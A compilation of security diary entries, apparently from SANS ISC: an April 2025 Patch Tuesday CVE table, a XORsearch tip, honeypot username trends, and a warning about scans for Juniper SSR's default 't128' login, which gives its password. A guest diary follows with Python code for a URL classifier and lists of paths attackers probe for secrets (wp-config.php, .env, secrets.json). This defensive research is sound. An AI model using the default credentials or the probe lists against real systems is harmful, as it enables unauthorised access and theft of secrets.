%%cve:2025-29810%%	No	No	-	-	Important	7.5	6.5
Azure Local Cluster Information Disclosure Vulnerability
%%cve:2025-25002%%	No	No	-	-	Important	6.8	5.9
%%cve:2025-26628%%	No	No	-	-	Important	7.3	6.4
Azure Local Elevation of Privilege Vulnerability
%%cve:2025-27489%%	No	No	-	-	Important	7.8	6.8
BitLocker Security Feature Bypass Vulnerability
%%cve:2025-26637%%	No	No	-	-	Important	6.8	5.9
DirectX Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2025-29812%%	No	No	-	-	Important	7.8	6.8
HTTP.sys Denial of Service Vulnerability
%%cve:2025-27473%%	No	No	-	-	Important	7.5	6.5
Kerberos Key Distribution Proxy Service Denial of Service Vulnerability
%%cve:2025-27479%%	No	No	-	-	Important	7.5	6.5
Lightweight Directory Access Protocol (LDAP) Client Remote Code Execution Vulnerability
%%cve:2025-26670%%	No	No	-	-	Critical	8.1	7.1
Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability
%%cve:2025-29800%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-29801%%	No	No	-	-	Important	7.8	6.8
Microsoft DWM Core Library Elevation of Privilege Vulnerability
%%cve:2025-24074%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-24073%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-24060%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-24062%%	No	No	-	-	Important	7.8	6.8
Microsoft Dynamics Business Central Information Disclosure Vulnerability
%%cve:2025-29821%%	No	No	-	-	Important	5.5	4.8
Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability
%%cve:2025-25000%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2025-29815%%	No	No	Less Likely	Less Likely	Important	7.6	6.6
Microsoft Edge for iOS Spoofing Vulnerability
%%cve:2025-29796%%	No	No	Less Likely	Less Likely	Low	4.7	4.2
%%cve:2025-25001%%	No	No	Less Likely	Less Likely	Low	4.3	3.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2025-27751%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-27752%%	No	No	-	-	Critical	7.8	6.8
%%cve:2025-27750%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-29791%%	No	No	-	-	Critical	7.8	6.8
%%cve:2025-29823%%	No	No	-	-	Important	7.8	6.8
Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability
%%cve:2025-26641%%	No	No	-	-	Important	7.5	6.5
Microsoft Office Elevation of Privilege Vulnerability
%%cve:2025-27744%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-29792%%	No	No	-	-	Important	7.3	6.4
Microsoft Office Remote Code Execution Vulnerability
%%cve:2025-27745%%	No	No	-	-	Critical	7.8	6.8
%%cve:2025-27746%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-27748%%	No	No	-	-	Critical	7.8	6.8
%%cve:2025-27749%%	No	No	-	-	Critical	7.8	6.8
%%cve:2025-26642%%	No	No	-	-	Important	7.8	6.8
Microsoft OneNote Security Feature Bypass Vulnerability
%%cve:2025-29822%%	No	No	-	-	Important	7.8	6.8
Microsoft OpenSSH for Windows Elevation of Privilege Vulnerability
%%cve:2025-27731%%	No	No	-	-	Important	7.8	6.8
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2025-29793%%	No	No	-	-	Important	7.2	6.3
%%cve:2025-29794%%	No	No	-	-	Important	8.8	7.7
Microsoft Streaming Service Denial of Service Vulnerability
%%cve:2025-27471%%	No	No	-	-	Important	5.9	5.2
Microsoft System Center Elevation of Privilege Vulnerability
%%cve:2025-27743%%	No	No	-	-	Important	7.8	6.8
Microsoft Virtual Hard Disk Elevation of Privilege Vulnerability
%%cve:2025-26688%%	No	No	-	-	Important	7.8	6.8
Microsoft Word Remote Code Execution Vulnerability
%%cve:2025-27747%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-29820%%	No	No	-	-	Important	7.8	6.8
Microsoft Word Security Feature Bypass Vulnerability
%%cve:2025-29816%%	No	No	-	-	Important	7.5	6.5
NTFS Elevation of Privilege Vulnerability
%%cve:2025-27741%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-27483%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-27733%%	No	No	-	-	Important	7.8	6.8
NTFS Information Disclosure Vulnerability
%%cve:2025-27742%%	No	No	-	-	Important	5.5	4.8
Outlook for Android Information Disclosure Vulnerability
%%cve:2025-29805%%	No	No	-	-	Important	7.5	6.5
RPC Endpoint Mapper Service Elevation of Privilege Vulnerability
%%cve:2025-26679%%	No	No	-	-	Important	7.8	6.8
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2025-27487%%	No	No	-	-	Important	8.0	7.0
Visual Studio Code Elevation of Privilege Vulnerability
%%cve:2025-20570%%	No	No	-	-	Important	6.8	5.9
Visual Studio Elevation of Privilege Vulnerability
%%cve:2025-29802%%	No	No	-	-	Important	7.3	6.4
%%cve:2025-29804%%	No	No	-	-	Important	7.3	6.4
Visual Studio Tools for Applications and SQL Server Management Studio Elevation of Privilege Vulnerability
%%cve:2025-29803%%	No	No	-	-	Important	7.3	6.4
Win32k Elevation of Privilege Vulnerability
%%cve:2025-26681%%	No	No	-	-	Important	6.7	6.0
%%cve:2025-26687%%	No	No	-	-	Important	7.5	6.5
Windows Admin Center in Azure Portal Information Disclosure Vulnerability
%%cve:2025-29819%%	No	No	-	-	Important	6.2	5.4
Windows Bluetooth Service Elevation of Privilege Vulnerability
%%cve:2025-27490%%	No	No	-	-	Important	7.8	6.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2025-29824%%	No	Yes	-	-	Important	7.8	7.2
Windows Cryptographic Services Information Disclosure Vulnerability
%%cve:2025-29808%%	No	No	-	-	Important	5.5	4.8
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2025-24058%%	No	No	-	-	Important	7.8	6.8
Windows Defender Application Control Security Feature Bypass Vulnerability
%%cve:2025-26678%%	No	No	-	-	Important	8.4	7.3
Windows Digital Media Elevation of Privilege Vulnerability
%%cve:2025-27476%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-26640%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-27467%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-27730%%	No	No	-	-	Important	7.8	6.8
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2025-27732%%	No	No	-	-	Important	7.0	6.1
Windows Hello Security Feature Bypass Vulnerability
%%cve:2025-26635%%	No	No	-	-	Important	6.5	5.7
Windows Hello Spoofing Vulnerability
%%cve:2025-26644%%	No	No	-	-	Important	5.1	4.5
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2025-27491%%	No	No	-	-	Critical	7.1	6.2
Windows Installer Elevation of Privilege Vulnerability
%%cve:2025-27727%%	No	No	-	-	Important	7.8	6.8
Windows Kerberos Elevation of Privilege Vulnerability
%%cve:2025-26647%%	No	No	-	-	Important	8.1	7.1
Windows Kerberos Security Feature Bypass Vulnerability
%%cve:2025-29809%%	No	No	-	-	Important	7.1	6.5
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2025-26648%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-27739%%	No	No	-	-	Important	7.8	6.8
Windows Kernel-Mode Driver Elevation of Privilege Vulnerability
%%cve:2025-27728%%	No	No	-	-	Important	7.8	6.8
Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability
%%cve:2025-26673%%	No	No	-	-	Important	7.5	6.5
%%cve:2025-27469%%	No	No	-	-	Important	7.5	6.5
Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability
%%cve:2025-26663%%	No	No	-	-	Critical	8.1	7.1
Windows Local Security Authority (LSA) Elevation of Privilege Vulnerability
%%cve:2025-27478%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-21191%%	No	No	-	-	Important	7.0	6.1
Windows Local Session Manager (LSM) Denial of Service Vulnerability
%%cve:2025-26651%%	No	No	-	-	Important	6.5	5.7
Windows Mark of the Web Security Feature Bypass Vulnerability
%%cve:2025-27472%%	No	No	-	-	Important	5.4	4.7
Windows Media Remote Code Execution Vulnerability
%%cve:2025-26666%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-26674%%	No	No	-	-	Important	7.8	6.8
Windows Mobile Broadband Driver Elevation of Privilege Vulnerability
%%cve:2025-29811%%	No	No	-	-	Important	7.8	6.8
Windows NTFS Information Disclosure Vulnerability
%%cve:2025-21197%%	No	No	-	-	Important	6.5	5.7
Windows Power Dependency Coordinator Information Disclosure Vulnerability
%%cve:2025-27736%%	No	No	-	-	Important	5.5	4.8
Windows Process Activation Elevation of Privilege Vulnerability
%%cve:2025-21204%%	No	No	-	-	Important	7.8	6.8
Windows Remote Desktop Services Remote Code Execution Vulnerability
%%cve:2025-26671%%	No	No	-	-	Important	8.1	7.1
%%cve:2025-27480%%	No	No	-	-	Critical	8.1	7.1
%%cve:2025-27482%%	No	No	-	-	Critical	8.1	7.1
Windows Resilient File System (ReFS) Information Disclosure Vulnerability
%%cve:2025-27738%%	No	No	-	-	Important	6.5	5.7
Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability
%%cve:2025-26664%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-26669%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-26667%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-27474%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-21203%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-26672%%	No	No	-	-	Important	6.5	5.7
%%cve:2025-26676%%	No	No	-	-	Important	6.5	5.7
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2025-26668%%	No	No	-	-	Important	7.5	6.5
Windows Secure Channel Elevation of Privilege Vulnerability
%%cve:2025-26649%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-27492%%	No	No	-	-	Important	7.0	6.1
Windows Security Zone Mapping Security Feature Bypass Vulnerability
%%cve:2025-27737%%	No	No	-	-	Important	8.6	7.5
Windows Shell Remote Code Execution Vulnerability
%%cve:2025-27729%%	No	No	-	-	Important	7.8	6.8
Windows Standards-Based Storage Management Service Denial of Service Vulnerability
%%cve:2025-26680%%	No	No	-	-	Important	7.5	6.5
%%cve:2025-27470%%	No	No	-	-	Important	7.5	6.5
%%cve:2025-21174%%	No	No	-	-	Important	7.5	6.5
%%cve:2025-26652%%	No	No	-	-	Important	7.5	6.5
%%cve:2025-27485%%	No	No	-	-	Important	7.5	6.5
%%cve:2025-27486%%	No	No	-	-	Important	7.5	6.5
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2025-26675%%	No	No	-	-	Important	7.8	6.8
Windows TCP/IP Remote Code Execution Vulnerability
%%cve:2025-26686%%	No	No	-	-	Critical	7.5	6.5
Windows Telephony Service Remote Code Execution Vulnerability
%%cve:2025-27477%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-21205%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-21221%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-21222%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-27481%%	No	No	-	-	Important	8.8	7.7
Windows USB Print Driver Elevation of Privilege Vulnerability
%%cve:2025-26639%%	No	No	-	-	Important	7.8	6.8
Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability
%%cve:2025-27484%%	No	No	-	-	Important	7.5	6.5
Windows Update Stack Elevation of Privilege Vulnerability
%%cve:2025-27475%%	No	No	-	-	Important	7.0	6.1
Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability
%%cve:2025-27735%%	No	No	-	-	Important	6.0	5.2
Windows upnphost.dll Elevation of Privilege Vulnerability
%%cve:2025-26665%%	No	No	-	-	Important	7.0	6.1

--

Renato Marinho
LinkedIn|Twitter

 

Xavier asked me a question from one of his FOR610 students: "how can you perform a regex search with XORsearch"?

XORsearch is a tool like grep but it performs a brute-force attack on the input file, trying out different encodings like XOR.

You can give it a string to search for, but not a regular expression.

There is a work around however: let XORsearch extract all possible strings, and then use a regular expression to grep through the results.

Here is an example with a Cobalt Strike beacon:

Option -S instructs XORsearch to extract all ASCII strings, and re-search.py is used with its built-in regular expression for IPv4 address.

We obtain one address, that we then use directly with XORsearch:

This gives us more information: we see a URL path, and we know the encoding is XOR, and the key is 0x0D.

With option -n, we can look for even more info surrounding that IPv4 address:

There also a method using YARA rules, but for that I need to publish a Python version of xorsearch first. More details in an upcoming diary entry.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

As you may have noticed by some of my recent diaries, I have spent a bit more time on ssh and telnet credentials. These credentials are collected by Cowrie, the amazing full features SSH and Telnet honeypot maintained by Michel Oosterhof. Cowrie is installed as a component if you install our DShield honeypot.

One very simple way to find "interesting" things is to look at what is new. To allow you to explore yourself, I added an "SSH/Telnet Username Summary". The report lists all usernames we observed in the last 30 days, and if we saw them at least five times. These numbers may, of course, change. There is also a simple JSON formatted report you may download to play with: https://isc.sans.edu/sshallusernames.json

So let's take a quick look at "what's new":

• ysoperator: Looks familiar, but can't remember where I saw it. Google is of little help here.
• uery: Maybe a typo, and should be "query"?
• tamatiek: Appears to be a Japanese name?
• shughes: I guess this is for "S Hughes". Many systems use the first initial and last name as username. There are a few more like that that I will skip here
• dbmasteruser: Something a bit more interesting. Likely supposed to refer to a database administrator account.

And there is one I think was funny: /usr/share/wordlists/logins.txt . Yes, the filename and path. I suspect the user didn't know yet how to run the brute force script and passed the filename instead of the username. There are a few I consider typos: "atascientist" (I suspect "datascientist"), "ackupadmin" (backupadmin?). Could also be a tool that swallows the first letter of the username if the username is not provided correctly.

I am working on a similar list of passwords. But there are a lot more different passwords than usernames making that a bit more challenging. Let me know if there are any additional details I should add.

Lesson: Attackers make mistakes too, and there are no real "safe" usernames. 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Last week, I noticed a surge in scans for the username "t128". This username, accompanied by the password "128tRoutes," is a well-known default account for Juniper's Session Smart Networking Platform (or "SSR" for "Session Smart Routing"). The username and password are a bit "odd". Juniper acquired a company called "128 Technologies" a few years ago, and with this acquisition, integrated SSR into its product portfolio. But much of the product, including default usernames and passwords, remained unchanged. The documentation, including the default username and passwords, is still at 128technology.com  [1].

The scans we observed lasted from March 23rd to 28th. About 3000 source IPs took part in these scans. Many of the sources taking part in the scan are well known for scanning SSH and are likely part of some "Mirai Type" botnet.

Double-check that you are not using the default password for the root or t128 account. Some older user questions suggest that changing the password is not always effective, or the process is not obvious [2]. 

 

[1] https://docs.128technology.com/docs/cc_fips_access_mgmt/
[2] https://community.juniper.net/discussion/admin-and-t128-users-remain-with-default-passwords-after-onboarding-to-conductor-thoughts

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

[This is a Guest Diary by Gregory Weber, an ISC intern as part of the SANS.edu BACS program]

For the last 5 months, as part of my BACS internship with SANS, I have monitored two deployments of a DShield Sensor, sometimes referred to as a honeypot. The DShield sensor offers multiple attack surfaces including Telnet and SSH ports but one of its features is a public-facing web server. One of my deployments sits on a cloud instance and this web server sees a large volume of traffic, making it ideal for research on web server attacks.

Many of the web "attacks" I have observed are rapid-fire URL submissions to the WordPress server meant to see if the server will reveal any of its "secrets" like encryption key files, user accounts, or back end logic. Moreover, the submissions are automated and often what appear to be "just passing by and saw you were a web server so thought I would try" type opportunity checks (like a crook pulling door handles in a parking lot to see if anything happens to open for a quick snag). As a community, information security professionals are probably more concerned with targeted attacks to their organizations but crimes of opportunity can be just as damaging -particularly where they reveal the existence of weaknesses to an attack group that may otherwise never bother with that specific organization.

While tending to my daily analysis, I have also been progressing through SEC595 "Applied Data Science and AI/Machine Learning for Cybersecurity Professionals". I enjoy the challenges of coding and I am fascinated with data driven decisions; particularly where carefully thought-out data science logic can help us separate out those things which our human problem-solving skills and expertise need to focus on versus the thousands of things they do not.

As such, I decided to experiment with applying frequency analysis to the Dshield data I had been collecting just to see whether I could write a simple classification program. I chose to focus on the web honeypot URL data to write a program that parses a URL and accurately determines if the URL represents an intrusive type request or what I call a legitimate request. The experiment differs from many other categorical URL classification programs in that those classifiers are often focused on user initiated connections to external sites. In other words, those programs attempt to determine if a URL a user is clicking/typing is malicious based on statistical metrics such as "known bad" IP address lists or name lists. This program is focused on those URLs that may get submitted to a public facing web server in attempts to scope the server's logic, perform command injection, perform server side request forgeries, or retrieve restricted files from a database or file directory that trusts the server.

Why this project???

I should state up front I am aware this is not groundbreaking: WAFs and lots of other goodies organizations purchase use sophisticated methods to tag-team this task as part of a layered defense. Anyone reading this is no doubt aware Web Application Firewalls are designed to perform many metrics to intercept malicious web requests before they can ever reach the server. And a strong defense-in-depth strategy for any public facing server will harden the server with input validation logic, use of parameterized queries, and similar to strengthen it from anything that makes it past the firewall as well as ensure things like permission restriction for the server account and removal of any files from its directories not needed to perform its functions in the spirit of least-privilege design. However, web servers are still the most commonly attacked and this would not be so if the attacks did not work some of the time.... and there is another important consideration...

Information security in 2025 has continued to shift away from the idea that keeping attackers "out" is the strongest strategy. Keeping attackers out is still the most ideal goal, but the community has recognized that with so many applications, so many patches, so many systems that need to talk to each other, so many coding libraries, and so many, ..on-and-on, that no organization bats 1,000 at keeping attackers out. Applying statistical data science to an already robustly protected web application gives security monitors another tool: consider a yet undiscovered vulnerability or exposed resource that allows the maliciously crafted URL to work successfully. The WAF does not intercept it and the server processes the request for a 200 response, making it much more likely no one will be aware the attack was successful. A statistical based approach that alerts the SOC based on the probability a URL is crafted to be intrusive does not rely on a log of 400 level response or a WAF rule, it simply alerts someone to put eyes on the request based on statistical metrics.  Security tools rely on rules – rules that engineers update as new exploits are discovered.  Until the new rule is written, the tool does not alert anyone because it does not “know” that it should.  Statistical models can alert based on probability and these models can discern abnormal based on features – a topic that is extremely fascinating and promising for blue team.  

For me, this was about a learning experience and attempt to experiment with DShield data while simultaneously gaining more experience with malicious web queries; it is not sophisticated but offers an example of how these models function. 

Approach

For continued learning, I want to apply various descriptive statistical models, probability theory, and eventually more sophisticated machine learning models to URL suffixes to categorize them as either legitimate or intrusion-oriented using techniques practiced in SEC595. This diary focuses on the simplest approach using frequency analysis as the basis to classify the URL. Frequency is simply the idea of how often something occurs in a set of data (in this case URL suffixes).

It is a fair question to ask how and why something like this would be expected to work. Leaving out the "how" for a moment, the why would it work question comes down to the entire concept of attacking a machine that accepts user input. The attacks highlighted by OWASP share the commonality that they use malformed input to trick an application. Therefore, it seemed possible to me that if I could build a dictionary of words or phrases that are 'malformed' along with a separate dictionary of words/phrases common to everyday URL submissions, I could take any URL, parse it into its pieces, and then compare how many of those pieces appear in the "normal" dictionary versus how many appear in the "malformed" dictionary. Whichever dictionary had more pieces of the URL would determine whether the URL was likely an attack. Although I don't explore it in this experiment, it would be relatively easy to move beyond a simple majority vote and set a different threshold (say 70/30) or whatever seems to work best.

Below I will walk through the specific steps and provide the code used (feedback is welcome). The program specifically focuses on the content contained after "www.website.tld"

Overview of Steps for Frequency Classification

1.    Obtain URL requests generally deemed malicious (DShield 404 logs). 
2.    Obtain URL requests that are legitimate to normal website traversal 
3.    Isolate the specific suffixes and create a dictionary of words/phrases present in the URLs, one based on the legitimate URLs and the other on known malicious URLs. 
4.    Create frequency function that classifies a random URL based on the comparison of parts in each dictionary. 
5.    See if the accuracy has revealed anything useful. 
6.    Refine and enhance with other more sophisticated machine learning methods as time allows in the future 

Steps 1 and 2: Obtaining the Data

To obtain malicious web requests, I utilized a DShield sensor deployed as part of BACS 4499 that contains a web server and logs URL requests to the server. Since this device is specifically deployed to be attacked and, indeed, has been "attacked" throughout the last 6 months, my experiment makes the assumption all of these URL requests except as noted below are attempts to expose restricted access rather than legitimate web requests. The exception will be any "/" only requests as those represent the root of the web server and are common to all top page-level requests.

The more difficult challenge was to obtain URLs of legitimate website interaction. The challenge is two-fold:
1.    Locating a source of aggregate data like this without visiting random websites to build what is likely only a very narrow list 
2.    Websites are mapped specific to an organization, there are no 'rules' to how this is done though there are fairly conventional URL structures based use of LAMP stacks and typical application programming. 

To overcome this obstacle, I decided to use a dataset generated as part of a demonstration on how to use Python code to map websites. The code specifically crawled various, legitimate websites creating URL links of full depth into the sites. Again, due to wide variety of site structures prevalent across the internet, this data does not provide a complete training model (neither does the DShield intrusive URL data) but it did provide a great starting point to begin experimenting. The dataset of "legit" URLs is courtesy of Elias Dabbas published on the Kaggle.com repository.

The URLs were then separated into two folders of csv files containing links - one legit and one intrusion-oriented. For both folders, some of the data will be left unused until it is time to test the function accuracy on known data.  The first 5 of each data file type is shown below. The reader will observe there are more "Intrusive" files than "Legit" however the legitimate URL data files are significantly larger (they contain more URLs each).

print(f'Num intrusive URL files: {len(intrusive_files)}\tNum of legit URL files: {len(legit_files)}')
print(intrusive_files[0:5], '\n', legit_files[0:5])       

Num intrusive URL files: 25     Num of legit URL files: 6
['./Attack Observations/Project/Intrusive/404reports_2025-01-25.csv', './Attack Observations/Project/Intrusive/404reports_2025-01-30.csv', './Attack Observations/Project/Intrusive/404reports_2025-02-13.csv', './Attack Observations/Project/Intrusive/404reports_2025-02-14.csv', './Attack Observations/Project/Intrusive/404reports_2025-02-15.csv'] 
 ['./Attack Observations/Project/Legit/sitemap_2022_12_30_google_com_cleaned.csv', './Attack Observations/Project/Legit/sitemap_2023_01_03_searchenginejournal_com_cleaned.csv', './Attack Observations/Project/Legit/sitemap_2023_01_08_foreignpolicy_com_cleaned.csv', './Attack Observations/Project/Legit/sitemap_2023_01_11_apple_com_cleaned.csv', './Attack Observations/Project/Legit/sitemap_2023_01_31_washingtonpost_com_cleaned.csv']

Step 3 (part 1): Isolate the specific suffixes

I reviewed hundreds of the URLs from Dshield sensor throughout my internship as part of my daily analysis.  This experiment relies on creating a useful list of words, phrases, or other structural commonalities in intrusively sent web requests as well as a useful list of legit web requests. I have very little experience setting up public-facing web applications or websites meant for user interaction. To keep things manageable, I decided to focus on two keys when parsing the URLs: specific words/phrases contained in the URL and accounting for the presence of either a period '.' or a dash "-" in the suffix. There is certainly room for improvement but I have found many malformed URLs contain periods and dashes as a way to trip logic. There are of course other characters used for SQLi and similar but again, I kept it simple to start.

The code block that follows defines a function "parse_url_words" taking a file of URLs, iterating on it using a regular expression to extract parts of the suffix, and returning a Python list of individual words/phrases parsed from the regex.

def parse_url_words(url = 'https://www.coffee4all.com/subpage1/subpage2') :
    #Returns a list of words/phrases and periods in URL link
    import re
    
    #regex block to account for fqdn as well as truncated records containing only '/sub1/sub2/etc.'
    extract_domain = re.match('https?://.{,3}\..+?\..+?/', url)
    if extract_domain : 
        regex = re.compile(f'(?:{extract_domain.group()}|/)(.*?)$')
    else : 
        regex = re.compile('/(.*?)$')
    url_suffix = re.findall(regex, url)    
    
    #Error check and account for lines that have no returned value
    if url_suffix == [] or url_suffix == [''] : return ([])
    if '/' in url_suffix[0] :
        url_word_list = url_suffix[0].split('/')
    else :
        url_word_list = url_suffix      
    
    #Extract words and break phrases into smaller parts by splitting on '-' or '.'
    additionals = []
    period = False
    dash = False
    for phrase in url_word_list :
        if "." in phrase : 
            additionals += phrase.split('.')
            period = True 
        if "-" in phrase : 
            additionals += phrase.split('-')
            dash = True
    if period : 
        url_word_list.append('.')
        url_word_list += additionals
    if dash : 
        url_word_list.append('-')
        url_word_list += additionals
    url_word_list = list(set(url_word_list))
    if '' in url_word_list : url_word_list.remove('')
           
    return(url_word_list)
#Test the function
test_legit_URL = parse_url_words('https://www.coffee4me.plzzz/top/order/pay/to-us')
print(len(test_legit_URL),'\n',test_legit_URL)
7 
 ['us', '-', 'pay', 'order', 'top', 'to', 'to-us']

Step 3 (part 2): Build Dictionaries of Words

Using the parse_url_words function, I then looped on both directories to build datasets called "legit" and "intrusive". The reader may observe the code block below uses a Counter() dictionary. Although the data sources were not extremely large (a potential weakness in the experiment discussed in further detail in conclusion), it was apparent that using Python lists would result in large numbers of repeats. For efficiency of memory and time, the lists are effectively reduced to unique values automatically by using a counter dictionary. It would have been possible to accomplish this using Python sets (as is performed when parsing an individual URL) however I like the added functionality and speed a dictionary provides for larger data sets. A counter dictionary specifically allowed me to store the frequency of each word/phrase in the values (since the words/phrases themsevles are the keys). Although my this diary of frequency classification does not make use of the counter's added functionality, there is no doubt when I build on the experiment later, having that added functionality will be nice.

# Legit Words from first 4 files (preserving two for testing)
from collections import Counter
legit = Counter()
for file in legit_files[0:4] :
    with open(file, 'rb') as fh:
        for url_line in fh : #Iterates on lines as many sample datasets are large enough to consume memory
            content = url_line.decode().lower().strip()
            legit.update(parse_url_words(content))

# Intrusive Words from first 18 files (preserving 7 for testing)
intrusive = Counter()
for file in intrusive_files[0:20] :
    with open(file, 'rb') as fh:
        for url_line in fh : #Iterates on lines as many sample datasets are large enough to consume memory
            content = url_line.decode().lower().strip()
            intrusive.update(parse_url_words(content))
#Display 100 words contained in each of the lists
print(f'Total number of words in Legit: {len(legit)}\n')
print(list(legit.keys())[100:200], '\n')
print(f'Total number of word in Intrusive: {len(intrusive)}\n')
print(list(intrusive.keys())[100:200])    
Total number of words in Legit: 490321  [TRUNCATED]

['zh_hk', 'signup_complete', 'signup_complete.html,', '.', 'html,', 'mediatools', 'get', 'develop', 'develop.html,', 'engage.html,', 'engage', 'gather.html,', 'gather', 'publish', 'publish.html,', 'resources.html,', 'resources', 'search', 'search.html,', 'visualize', 'visualize.html,', 'videoqualityreport', 'm', 'faq.html,', 'faq', 'faster', 'web.html,', 'faster-web', 'faster-web.html,', 'how.html,', 'how', 'methodology', 'methodology.html,', 'youtube', 'youtube.html,', 'cardboard', 'apps', 'android', 'buy', 'buy-cardboard-android', 'ios', 'buy-cardboard-ios', 'buy-cardboard', 'developers', 'download', 'get-cardboard', 'jump', 'manufacturers', 'product-safety', 'safety', 'product', 'sundance', 'viewerprofilegenerator', 'es_mx', 'fr_ca', 'pt_br', 'pt_pt', 'plastic', 'expire.html,', 'expire', 'journalismfellowship', 'thankyou', 'thankyou.html,', 'noto', 'feedback', 'cjk', 'help', 'emoji', 'activities', 'activities.html,', 'nature.html,', 'animals-nature', 'animals-nature.html,', 'animals', 'flags.html,', 'flags', 'food-drink.html,', 'drink.html,', 'food-drink', 'food', 'objects.html,', 'objects', 'smileys', 'smileys-people', 'smileys-people.html,', 'people.html,', 'symbols', 'symbols.html,', 'travel-places.html,', 'travel', 'places.html,', 'travel-places', 'guidelines', 'install', 'updates', 'projectlink', 'google2ba69e9df6ccb5fb.html,', 'google2ba69e9df6ccb5fb', 'spectrumdatabase', 'business'] 

Total number of word in Intrusive: 12608 [TRUNCATED]

['config.ini', 'hnap1', 'secrets', 'secrets.json', 'wp-config.php', 'products', 'view.php', 'src', 'settings.js', 'main.js', 'main', 'server', 'server-info', 'bundleconfig.json', 'bundleconfig', 'wp-content', 'debug.log', 'content', 'phpversion', 'phpversion.php', 'secrets.yml', 'services.php', 'debug.php', 'production.json', 'production', 'php~', 'config.php~', 'wp-config.php~', '.env.local', 'local', 'broadcasting.php', 'broadcasting', 'settings.json', 'server.js', 'config.env', 'env.json', 'file', 'status', 'server-status', 'keys.js', 'keys', 'application.properties', 'properties', 'test1.php', 'test1', 'mail.php', 'mail', 'environment', 'environment.ts', 'ts', 'acl', 'acl.config.php', 'library', 'global.php', 'autoload', 'global', 'phpconf.php', 'phpconf', 'session.php', 'session', '.env.bak', 'bak', 'wp-config.org', 'config.org', 'org', 'database.yml', 'database', 'config.json', 'default.json', 'index.js', 'bootstrap', 'resources', 'bootstrap.yml', 'test.json', 'dev', 'php.php', 'php_info.php', 'php_info', 'test2.php', 'test2', 'database.php', '.env.dev', 'tmp', 'index.html', 'server.php', 'test.config.php', 'front', 'queue.php', 'queue', 'config.properties', 'aws.json', 'config.bak', 'wp-config.bak', 'crm', 'xampp', 'users', 'prod', 'admins', 'infos.php', 'infos']

Step 4 Using Frequency to Categorize a URL as Intrusive or Legit

The reader may question whether the significant size difference in the two dictionaries is going to cause skewing of results. This is fair and something ideally addressed by finding more sources of malformed URLs (which is something I will do as I move forward). However, I would expect the malformed URL dictionary to be much smaller: there are likely many more variations of legitimate URLs than intrusive (an assumption only at this point), and the source of the intrusive URLs at this point is the DShield, which logs reveal receives a high number of repeated attempts using lists of URLs (much like lists of common passwords). 
Frequency is simply a measure of how often something occurs in a set of data. To classify a random URL as either Intrusive or Legit by frequency means determining whether its word and phrase structure, when parsed into a list, has more items that appear in the "Legit" dataset, or more items that appear in the "Intrusive" dataset.

The code block that follows defines a function called "url_word_count" that passes an individual URL to the URL parsing function above and returns a tuple count of the number of words/phrases present in the legit dictionary as well as the intrusive dictionary.

The function called "frequency_classifier" will receive a full file of URLs, make use of the url_word_count and then classify each URL as legitimate or intrusive. It will then display the results.

def url_word_count(url='https://www.coffee4all.com/subpage1/subpage2') :
    all_words = parse_url_words(url)
    url_legit_words = [word for word in all_words if word in legit.keys()]
    url_intrusive_words = [word for word in all_words if word in intrusive.keys()]
    return(len(url_legit_words), len(url_intrusive_words))

def frequency_classifier(filename) :
    legit_urls = 0
    intrusive_urls = 0
    total = 0
    with open(filename, 'rb') as fh:
        for url_line in fh :
            content = url_line.decode().lower().strip()
            if content == '/' : continue 
            legit, intrusive = url_word_count(content)
            if legit >= intrusive :
                legit_urls += 1
            else :
                intrusive_urls += 1
            total += 1
    print(f'File Name: {filename}')
    print(f'Total URLs in the file: {total}')    
    print(f'Predicted Legit URLs: {legit_urls}\tPercentage: {legit_urls/total:.2%}')
    print(f'Predicted Intrusive URLs: {intrusive_urls}\tPercent Intrusive: {intrusive_urls/total:.2%}\n')    

